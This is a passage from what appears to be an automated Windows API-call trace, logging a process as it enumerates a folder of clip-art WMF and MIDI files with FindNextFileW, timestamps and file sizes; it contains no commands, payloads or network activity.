(hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.225] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00985_.WMF", cAlternateFileName="")) returned 1 [0233.225] ResetEvent (hEvent=0x2b8) returned 1 [0233.225] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.226] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1 [0233.226] ResetEvent (hEvent=0x2b8) returned 1 [0233.226] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.229] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1 [0233.229] ResetEvent (hEvent=0x2b8) returned 1 [0233.229] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.230] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0233.230] ResetEvent (hEvent=0x2b8) returned 1 [0233.230] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.236] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0233.236] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0233.236] ResetEvent (hEvent=0x2b8) returned 1 [0233.237] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.244] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0233.245] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0233.245] ResetEvent (hEvent=0x2b8) returned 1 [0233.245] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.250] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0233.250] ResetEvent (hEvent=0x2b8) returned 1 [0233.250] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.281] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0233.281] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0233.281] ResetEvent (hEvent=0x2b8) returned 1 [0233.281] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.286] ResetEvent (hEvent=0x2b8) returned 1 [0233.286] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.288] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0233.289] ResetEvent (hEvent=0x2b8) returned 1 [0233.289] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.294] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0233.294] ResetEvent (hEvent=0x2b8) returned 1 [0233.294] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.296] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0233.296] ResetEvent (hEvent=0x2b8) returned 1 [0233.296] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.298] ResetEvent (hEvent=0x2b8) returned 1 [0233.298] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.303] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0233.303] ResetEvent (hEvent=0x2b8) returned 1 [0233.303] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.305] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0233.305] ResetEvent (hEvent=0x2b8) returned 1 [0233.305] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.313] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0233.313] ResetEvent (hEvent=0x2b8) returned 1 [0233.313] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.315] ResetEvent (hEvent=0x2b8) returned 1 [0233.315] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.317] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0233.318] ResetEvent (hEvent=0x2b8) returned 1 [0233.318] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.320] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0233.320] ResetEvent (hEvent=0x2b8) returned 1 [0233.320] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.323] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0233.323] ResetEvent (hEvent=0x2b8) returned 1 [0233.323] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.325] ResetEvent (hEvent=0x2b8) returned 1 [0233.325] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.329] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0233.329] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0233.329] ResetEvent (hEvent=0x2b8) returned 1 [0233.329] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.332] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0233.332] ResetEvent (hEvent=0x2b8) returned 1 [0233.332] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.334] ResetEvent (hEvent=0x2b8) returned 1 [0233.334] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.336] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0233.336] ResetEvent (hEvent=0x2b8) returned 1 [0233.338] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.340] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0233.340] ResetEvent (hEvent=0x2b8) returned 1 [0233.340] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.342] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0233.342] ResetEvent (hEvent=0x2b8) returned 1 [0233.342] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.345] ResetEvent (hEvent=0x2b8) returned 1 [0233.345] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.350] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0233.350] ResetEvent (hEvent=0x2b8) returned 1 [0233.351] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.520] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0233.520] ResetEvent (hEvent=0x2b8) returned 1 [0233.521] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.529] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0233.529] ResetEvent (hEvent=0x2b8) returned 1 [0233.530] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.533] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0233.533] ResetEvent (hEvent=0x2b8) returned 1 [0233.533] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.541] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0233.541] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0233.541] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0233.541] ResetEvent (hEvent=0x2b8) returned 1 [0233.541] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.551] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0233.551] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0233.552] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0233.552] ResetEvent (hEvent=0x2b8) returned 1 [0233.552] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.705] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0233.705] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0233.705] ResetEvent (hEvent=0x2b8) returned 1 [0233.705] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.710] 